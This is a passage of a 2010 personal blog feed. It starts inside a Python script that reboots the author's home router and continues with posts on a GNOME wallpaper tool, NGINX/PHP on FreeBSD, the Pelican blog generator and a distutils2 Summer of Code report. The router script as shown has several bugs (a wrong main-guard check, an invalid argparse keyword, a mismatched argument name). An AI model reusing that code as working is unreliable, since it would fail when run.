&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urlparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;argparse&lt;/span&gt;
&lt;span class="n"&gt;REBOOT_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/b/info/restart/?be=0&amp;amp;l0=1&amp;amp;l1=0&amp;amp;tid=RESTART&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;BOX_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://bebox.config/cgi&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;open_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;passman&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPPasswordMgrWithDefaultRealm&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;passman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;authhandler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPBasicAuthHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passman&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;opener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;build_opener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authhandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;install_opener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;opener&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reboot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;open_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name\=&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;2&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; value=&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;([0-9]+)&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0=17&amp;amp;2=&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;1&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__file__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Reboot your bebox !&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boxurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;boxurl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;BOX_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Base box url. Default is &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;BOX_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urljoin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boxurl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;REBOOT_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;reboot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
</content></entry><entry><title>Dynamically change your gnome desktop wallpaper</title><link href="https://blog.notmyidea.org/dynamically-change-your-gnome-desktop-wallpaper.html" rel="alternate"></link><published>2010-10-11T00:00:00+02:00</published><updated>2010-10-11T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-10-11:/dynamically-change-your-gnome-desktop-wallpaper.html</id><summary type="html">&lt;p&gt;In gnome, you can can use a XML file to have a dynamic wallpaper.
It's not so easy, and you can't just tell: use the pictures in this folder to do
so.&lt;/p&gt;
&lt;p&gt;You can have a look to the git repository if you want: &lt;a class="reference external" href="http://github.com/ametaireau/gnome-background-generator"&gt;http://github.com/ametaireau/gnome-background-generator&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In gnome, you can can use a XML file to have a dynamic wallpaper.
It's not so easy, and you can't just tell: use the pictures in this folder to do
so.&lt;/p&gt;
&lt;p&gt;You can have a look to the git repository if you want: &lt;a class="reference external" href="http://github.com/ametaireau/gnome-background-generator"&gt;http://github.com/ametaireau/gnome-background-generator&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some time ago, I've made a little python script to ease that, and you can now
use it too. It's named &amp;quot;gnome-background-generator&amp;quot;, and you can install it via
pip for instance.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install gnome-background-generator
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then, you have just to use it this way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ gnome-background-generator -p ~/Images/walls -s
/home/alexis/Images/walls/dynamic-wallpaper.xml generated
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here is a extract of the &lt;cite&gt;--help&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ gnome-background-generator --help
usage: gnome-background-generator &lt;span class="o"&gt;[&lt;/span&gt;-h&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-p PATH&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-o OUTPUT&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;-t TRANSITION_TIME&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-d DISPLAY_TIME&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-s&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;-b&lt;span class="o"&gt;]&lt;/span&gt;
A simple &lt;span class="nb"&gt;command&lt;/span&gt; line tool to generate an XML file to use &lt;span class="k"&gt;for&lt;/span&gt; gnome
wallpapers, to have dynamic walls
optional arguments:
-h, --help show this &lt;span class="nb"&gt;help&lt;/span&gt; message and &lt;span class="nb"&gt;exit&lt;/span&gt;
-p PATH, --path PATH Path to look &lt;span class="k"&gt;for&lt;/span&gt; the pictures. If no output is
specified, will be used too &lt;span class="k"&gt;for&lt;/span&gt; outputing the dynamic-
wallpaper.xml file. Default value is the current
directory &lt;span class="o"&gt;(&lt;/span&gt;.&lt;span class="o"&gt;)&lt;/span&gt;
-o OUTPUT, --output OUTPUT
Output filename. If no filename is specified, a
dynamic-wallpaper.xml file will be generated in the
path containing the pictures. You can also use &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; to
display the xml in the stdout.
-t TRANSITION_TIME, --transition-time TRANSITION_TIME
Time &lt;span class="o"&gt;(&lt;/span&gt;in seconds&lt;span class="o"&gt;)&lt;/span&gt; transitions must last &lt;span class="o"&gt;(&lt;/span&gt;default value
is &lt;span class="m"&gt;2&lt;/span&gt; seconds&lt;span class="o"&gt;)&lt;/span&gt;
-d DISPLAY_TIME, --display-time DISPLAY_TIME
Time &lt;span class="o"&gt;(&lt;/span&gt;in seconds&lt;span class="o"&gt;)&lt;/span&gt; a picture must be displayed. Default
value is &lt;span class="m"&gt;900&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;15mn&lt;span class="o"&gt;)&lt;/span&gt;
-s, --set-background &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;try to &lt;span class="nb"&gt;set&lt;/span&gt; the background using gnome-appearance-
properties
-b, --debug
&lt;/pre&gt;&lt;/div&gt;
</content></entry><entry><title>How to install NGINX + PHP 5.3 on FreeBSD.</title><link href="https://blog.notmyidea.org/how-to-install-nginx-php-53-on-freebsd.html" rel="alternate"></link><published>2010-10-10T00:00:00+02:00</published><updated>2010-10-10T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-10-10:/how-to-install-nginx-php-53-on-freebsd.html</id><summary type="html">&lt;p&gt;I've not managed so far to get completely rid of php, so here's a simple
reminder about how to install php on NGINX, for FreeBSD. Nothing hard, but
that's worse to have the piece of configuration somewhere !&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# update the ports
$ portsnap fetch update
# install php5 port
$ make config-recursive -C /usr …&lt;/pre&gt;</summary><content type="html">&lt;p&gt;I've not managed so far to get completely rid of php, so here's a simple
reminder about how to install php on NGINX, for FreeBSD. Nothing hard, but
that's worse to have the piece of configuration somewhere !&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# update the ports
$ portsnap fetch update
# install php5 port
$ make config-recursive -C /usr/ports/lang/php5-extensions
$ make package-recursive -C /usr/ports/lang/php5-extensions
# install nginx
$ make config-recursive -C /usr/ports/www/nginx-devel
$ make package-recursive -C /usr/ports/www/nginx-devel
&lt;/pre&gt;
&lt;p&gt;Now we have all the dependencies installed, we need to configure a bit the
server.&lt;/p&gt;
&lt;p&gt;That's a simple thing in fact, but it could be good to have something that will
work without effort over time.&lt;/p&gt;
&lt;p&gt;Here's a sample of my configuration:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
server {
server_name ndd;
set $path /path/to/your/files;
root $path;
location / {
index index.php;
}
location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|xml)$ {
access_log off;
expires 30d;
}
location ~ .php$ {
fastcgi_param SCRIPT_FILENAME $path$fastcgi_script_name;
fastcgi_pass backend;
include fastcgi_params;
}
}
upstream backend {
server 127.0.0.1:9000;
}
&lt;/pre&gt;
&lt;p&gt;And that's it !&lt;/p&gt;
</content></entry><entry><title>Pelican, a simple static blog generator in python</title><link href="https://blog.notmyidea.org/pelican-a-simple-static-blog-generator-in-python.html" rel="alternate"></link><published>2010-10-06T00:00:00+02:00</published><updated>2010-10-06T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-10-06:/pelican-a-simple-static-blog-generator-in-python.html</id><summary type="html">&lt;p&gt;Those days, I've wrote a little python application to fit my blogging needs.
I'm an occasional blogger, a vim lover, I like restructured text and DVCSes, so
I've made a little tool that makes good use of all that.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://docs.getpelican.com"&gt;Pelican&lt;/a&gt; (for calepin) is just a simple tool to generate your …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Those days, I've wrote a little python application to fit my blogging needs.
I'm an occasional blogger, a vim lover, I like restructured text and DVCSes, so
I've made a little tool that makes good use of all that.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://docs.getpelican.com"&gt;Pelican&lt;/a&gt; (for calepin) is just a simple tool to generate your blog as static
files, letting you using your editor of choice (vim!). It's easy to extend,
and has a template support (via jinja2).&lt;/p&gt;
&lt;p&gt;I've made it to fit &lt;em&gt;my&lt;/em&gt; needs. I hope it will fit yours, but maybe it wont, and
it have not be designed to feet everyone's needs.&lt;/p&gt;
&lt;p&gt;Need an example ? You're looking at it ! This weblog is using pelican to be
generated, also for the atom feeds.&lt;/p&gt;
&lt;p&gt;I've released it under AGPL, since I want all the modifications to be profitable
to all the users.&lt;/p&gt;
&lt;p&gt;You can find a repository to fork at &lt;a class="reference external" href="https://github.com/getpelican/pelican/"&gt;https://github.com/getpelican/pelican/&lt;/a&gt;.
feel free to hack it !&lt;/p&gt;
&lt;p&gt;If you just want to get started, use your installer of choice (pip, easy_install, …)
And then have a look to the help (&lt;cite&gt;pelican --help&lt;/cite&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install pelican
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="usage"&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;Here's a sample usage of pelican&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pelican .
writing /home/alexis/projets/notmyidea.org/output/index.html
writing /home/alexis/projets/notmyidea.org/output/tags.html
writing /home/alexis/projets/notmyidea.org/output/categories.html
writing /home/alexis/projets/notmyidea.org/output/archives.html
writing /home/alexis/projets/notmyidea.org/output/category/python.html
writing
/home/alexis/projets/notmyidea.org/output/pelican-a-simple-static-blog-generator-in-python.html
Done !
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You also can use the &lt;cite&gt;--help&lt;/cite&gt; option for the command line to get more
informations&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nv"&gt;$pelican&lt;/span&gt; --help
usage: pelican &lt;span class="o"&gt;[&lt;/span&gt;-h&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-t TEMPLATES&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-o OUTPUT&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-m MARKUP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-s SETTINGS&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-b&lt;span class="o"&gt;]&lt;/span&gt;
path
A tool to generate a static blog, with restructured text input files.
positional arguments:
path Path where to find the content files &lt;span class="o"&gt;(&lt;/span&gt;default is
&lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.
optional arguments:
-h, --help show this &lt;span class="nb"&gt;help&lt;/span&gt; message and &lt;span class="nb"&gt;exit&lt;/span&gt;
-t TEMPLATES, --templates-path TEMPLATES
Path where to find the templates. If not specified,
will uses the ones included with pelican.
-o OUTPUT, --output OUTPUT
Where to output the generated files. If not specified,
a directory will be created, named &lt;span class="s2"&gt;&amp;quot;output&amp;quot;&lt;/span&gt; in the
current path.
-m MARKUP, --markup MARKUP
the markup language to use. Currently only
ReSTreucturedtext is available.
-s SETTINGS, --settings SETTINGS
the settings of the application. Default to None.
-b, --debug
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Enjoy :)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>An amazing summer of code working on distutils2</title><link href="https://blog.notmyidea.org/an-amazing-summer-of-code-working-on-distutils2.html" rel="alternate"></link><published>2010-08-16T00:00:00+02:00</published><updated>2010-08-16T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-08-16:/an-amazing-summer-of-code-working-on-distutils2.html</id><summary type="html">&lt;p&gt;The &lt;a class="reference external" href="http://code.google.com/soc/"&gt;Google Summer of Code&lt;/a&gt; I've
spent working on &lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;
is over. It was a really amazing experience, for many reasons.&lt;/p&gt;
&lt;p&gt;First of all, we had a very good team, we were 5 students working
on distutils2: &lt;a class="reference external" href="http://zubin71.wordpress.com"&gt;Zubin&lt;/a&gt;,
&lt;a class="reference external" href="http://wokslog.wordpress.com/"&gt;Éric&lt;/a&gt;,
&lt;a class="reference external" href="http://gsoc.djolonga.com/"&gt;Josip&lt;/a&gt;,
&lt;a class="reference external" href="http://konryd.blogspot.com/"&gt;Konrad&lt;/a&gt; and me. In addition,
&lt;a class="reference external" href="http://mouadino.blogspot.com/"&gt;Mouad&lt;/a&gt; have worked on the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;a class="reference external" href="http://code.google.com/soc/"&gt;Google Summer of Code&lt;/a&gt; I've
spent working on &lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;
is over. It was a really amazing experience, for many reasons.&lt;/p&gt;
&lt;p&gt;First of all, we had a very good team, we were 5 students working
on distutils2: &lt;a class="reference external" href="http://zubin71.wordpress.com"&gt;Zubin&lt;/a&gt;,
&lt;a class="reference external" href="http://wokslog.wordpress.com/"&gt;Éric&lt;/a&gt;,
&lt;a class="reference external" href="http://gsoc.djolonga.com/"&gt;Josip&lt;/a&gt;,
&lt;a class="reference external" href="http://konryd.blogspot.com/"&gt;Konrad&lt;/a&gt; and me. In addition,
&lt;a class="reference external" href="http://mouadino.blogspot.com/"&gt;Mouad&lt;/a&gt; have worked on the PyPI
testing infrastructure. You could find what each person have done
on
&lt;a class="reference external" href="http://bitbucket.org/tarek/distutils2/wiki/GSoC_2010_teams"&gt;the wiki page of distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We were in contact with each others really often, helping us when
possible (in #distutils), and were continuously aware of the state
of the work of each participant. This, in my opinion, have bring us
in a good shape.&lt;/p&gt;
&lt;p&gt;Then, I've learned a lot. Python packaging was completely new to me
at the time of the GSoC start, and I was pretty unfamiliar with
python good practices too, as I've been introducing myself to
python in the late 2009.&lt;/p&gt;
&lt;p&gt;I've recently looked at some python code I wrote just three months
ago, and I was amazed to think about many improvements to made on
it. I guess this is a good indicator of the path I've traveled
since I wrote it.&lt;/p&gt;
&lt;p&gt;This summer was awesome because I've learned about python good
practices, now having some strong
&lt;a class="reference external" href="http://mercurial.selenic.com/"&gt;mercurial&lt;/a&gt; knowledge, and I've
seen a little how the python community works.&lt;/p&gt;
&lt;p&gt;Then, I would like to say a big thanks to all the mentors that have
hanged around while needed, on IRC or via mail, and especially my
mentor for this summer, &lt;a class="reference external" href="http://tarek.ziade.org"&gt;Tarek Ziadé&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thanks a lot for your motivation, your leadership and your
cheerfulness, even with a new-born and a new work!&lt;/p&gt;
&lt;div class="section" id="why"&gt;
&lt;h2&gt;Why ?&lt;/h2&gt;
&lt;p&gt;I wanted to work on python packaging because, as the time pass, we
were having a sort of complex tools in this field. Each one wanted
to add features to distutils, but not in a standard way.&lt;/p&gt;
&lt;p&gt;Now, we have PEPs that describes some format we agreed on (see PEP
345), and we wanted to have a tool on which users can base their
code on, that's &lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="my-job"&gt;
&lt;h2&gt;My job&lt;/h2&gt;
&lt;p&gt;I had to provide a way to crawl the PyPI indexes in a simple way,
and do some installation / uninstallation scripts.&lt;/p&gt;
&lt;p&gt;All the work done is available in
&lt;a class="reference external" href="http://bitbucket.org/ametaireau/distutils2/"&gt;my bitbucket repository&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="crawling-the-pypi-indexes"&gt;
&lt;h3&gt;Crawling the PyPI indexes&lt;/h3&gt;
&lt;p&gt;There are two ways of requesting informations from the indexes:
using the &amp;quot;simple&amp;quot; index, that is a kind of REST index, and using
XML-RPC.&lt;/p&gt;
&lt;p&gt;I've done the two implementations, and a high level API to query
those twos. Basically, this supports the mirroring infrastructure
defined in PEP 381. So far, the work I've done is gonna be used in
pip (they've basically copy/paste the code, but this will change as
soon as we get something completely stable for distutils2), and
that's a good news, as it was the main reason for what I've done
that.&lt;/p&gt;
&lt;p&gt;I've tried to have an unified API for the clients, to switch from
one to another implementation easily. I'm already thinking of
adding others crawlers to this stuff, and it was made to be
extensible.&lt;/p&gt;
&lt;p&gt;If you want to get more informations about the crawlers/PyPI
clients, please refer to the distutils2 documentation, especially
&lt;a class="reference external" href="http://distutils2.notmyidea.org/library/distutils2.index.html"&gt;the pages about indexes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can find the changes I made about this in the
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; source code .&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="installation-uninstallation-scripts"&gt;
&lt;h3&gt;Installation / Uninstallation scripts&lt;/h3&gt;
&lt;p&gt;Next step was to think about an installation script, and an
uninstaller. I've not done the uninstaller part, and it's a smart
part, as it's basically removing some files from the system, so
I'll probably do it in a near future.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; provides a way to
install distributions, and to handle dependencies between releases.
For now, this support is only about the last version of the
METADATA (1.2) (See, the PEP 345), but I'm working on a
compatibility layer for the old metadata, and for the informations
provided via PIP requires.txt, for instance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="extra-work"&gt;
&lt;h3&gt;Extra work&lt;/h3&gt;
&lt;p&gt;Also, I've done some extra work. this includes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;working on the PEP 345, and having some discussion about it
(about the names of some fields).&lt;/li&gt;
&lt;li&gt;writing a PyPI server mock, useful for tests. you can find more
information about it on the
&lt;a class="reference external" href="http://distutils.notmyidea.org"&gt;documentation&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="futures-plans"&gt;
&lt;h2&gt;Futures plans&lt;/h2&gt;
&lt;p&gt;As I said, I've enjoyed working on distutils2, and the people I've
met here are really pleasant to work with. So I &lt;em&gt;want&lt;/em&gt; to continue
contributing on python, and especially on python packaging, because
there is still a lot of things to do in this scope, to get
something really usable.&lt;/p&gt;
